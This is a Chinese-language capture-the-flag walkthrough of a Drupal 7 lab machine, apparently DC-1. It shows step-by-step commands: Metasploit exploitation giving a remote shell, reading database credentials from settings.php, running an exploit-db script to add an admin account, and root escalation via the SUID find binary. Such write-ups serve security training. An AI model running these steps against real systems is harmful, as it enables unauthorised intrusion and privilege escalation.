一、信息收集
1.查看kali的IP地址和靶机的IP地址
输入ifconfig回车查看kali的IP地址
输入arp-scan -l回车扫描查看此网段下的设备IP,通过比对靶机开机前后的反馈信息得到靶机的IP地址
注意:如果开机靶机后仍然检测不到靶机的IP地址,请确保靶机的网络设置为net模式,然后重启靶机试试。
结果如图1.1所示
2.查看靶机的端口信息
输入nmap -sV 192.168.220.141回车,结果如图1.2.1所示
发现此靶机开放的端口有22,80,111
优先尝试80端口的网页,打开kali中的火狐浏览器输入192.168.220.141回车,结果如图1.2.2所示
发现要登录,除了SQL注入等方法,还有寻找CMS框架漏洞等方法。
输入whatweb http://192.168.220.141回车寻找CMS框架漏洞,结果如图1.2.3所示
注意:whatweb是一个用于识别和分析网站技术的工具。它可以探测网站使用的技术、服务器软件、CMS(内容管理系统)、编程语言、框架等。通过扫描网站,whatweb
帮助安全专家和开发者了解网站的技术栈,从而评估其安全性或兼容性。
我们进一步锁定Drupal 7,尝试利用它的漏洞
二、利用漏洞拿下目标
1.利用Drupal 7成功远程控制
输入msfconsole进入metasploit框架
输入search Drupal 7回车,结果如图2.1.1所示
这里我们用序号1的漏洞
输入use 1回车
输入options查看攻击前需要进行设置的配置,如图2.1.2所示
设置攻击参数并实施攻击
输入set rhost 192.168.220.141回车
输入run回车
结果如图2.1.3所示
看到最后一行以meterpreter >结尾,则说明攻击成功
输入shell回车,成功远程控制。
2.远程控制命令寻找flag1
输入ls查看此路径中包含的文件及文件夹,结果如图2.2.1所示
找到了文件名为flag1.txt的目标文件
输入cat flag1.txt回车查看文件内容,结果如图2.2.2所示
翻译一下:每一个好的CMS需要一个配置文件-你也是这样的
3.根据提示在配置文件中寻找flag2
利用搜索引擎确定Drupal的配置文件的路径,结果如图2.3.1所示
输入python -c 'import pty; pty.spawn("/bin/bash")'回车,进入交互模式
根据词条的路径寻找配置文件,如图2.3.2所示
打开配置文件寻找flag2,
输入cat settings.php回车,结果如图2.3.3所示
翻译一下:暴力和字典攻击不是获取访问权限的唯一方法(你将需要访问权限)。你能用这些证书做什么?
紧挨着的是数据库信息,如图2.3.4所示
4. 创建新用户,登录服务,寻找flag3
第一步:连接数据库
根据得到的数据库信息,
输入mysql -udbuser -pR0ck3t回车(-u用户名 -p密码),连接数据库,如图2.4.1所示
当看到Welcome to the MySQL monitor,则说明成功连接数据库
第二步:寻找数据库内的有用表
输入show databases;回车查看数据库,如图2.4.2所示
当输入show databases回车时,系统判定你未输入完指令,不会给予正常反应,所以在SQL中要养成输入完指令就加“;”的习惯。如果实在是不小心忘记了,请在下一行系统给的箭头后补上。
输入use drupaldb;回车使用drupaldb数据库
输入show tables;查看数据库内的表
如图2.4.3所示
找到一个有用的表,如图2.4.4所示
可能存在用户数据
第三步:创建一个用户
使用select语句查询users表
输入select * from users;回车,如图2.4.5所示
可见密码是用密文加密储存的,我们可以自己创建一个用户用于登录
打开一个新的控制终端
输入msfconsole进入metasploit框架
输入searchsploit drupal回车,如图2.4.6所示
找到一个(Add Admin U)添加用户的路径
输入python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.220.141 -u admin3 -p admin3回车,如图2.4.7所示
我们的用户名是admin3
我们的密码是admin3
回到第一个控制终端,重新查看用户信息
输入select * from users;回车,如图2.4.8所示
发现第三个用户是我们新建的用户,说明已经成功。
第四步:登录新建的用户寻找目标
打开kali的火狐浏览器,访问192.168.220.141
输入用户名admin3,密码admin3,结果如图2.4.9则成功登录
切换到Content一栏,找到flag3文件,如图2.4.10所示
点击查看具体内容,如图2.4.11所示
翻译一下:找passwd和shadow并且要用到根据文件权限查找,和-exec执行特定操作
5.根据提示寻找flag4
找passwd文件夹,如图2.5.1所示
打开查看一下
输入cat passwd回车,结果如图2.5.2所示
发现最后一行给了提示
确认好了路径之后直接打开,如图2.5.3所示
不知道为什么第一次命令竟然打不开,于是进行第二次尝试,竟然成功打开。
翻译一下:你可以用一样的方法找到root里的flag吗?可能没有那么简单。
6.提升权限寻找最终flag
输入find / -perm -4000回车
find
: 这是一个用于在目录结构中搜索文件和目录的命令。
/
: 这是要搜索的起始目录,在这个例子中是根目录。
-perm -4000
: 这是一个选项,用于查找具有特定权限的文件。在这个例子中,-4000
表示查找设置了 SUID(Set User ID)位的文件。
SUID 位是一个特殊的权限位,当文件被执行时,进程将继承文件的所有者的权限,而不是执行者的权限。这种权限通常用于需要更高权限的程序(例如,/bin/passwd
)。
所以,find / -perm -4000
会列出系统中所有具有 SUID 位的文件
结果如图2.6.1所示
找到了find文件,于是我们直接用find提权
输入find /var/www/misc -exec "/bin/sh" \;回车
提权成功,结果如图2.6.2所示
在root里找最终flag,如图2.6.3所示
输入cat /root/thefinalflag.txt回车,打开flag,如图2.6.4所示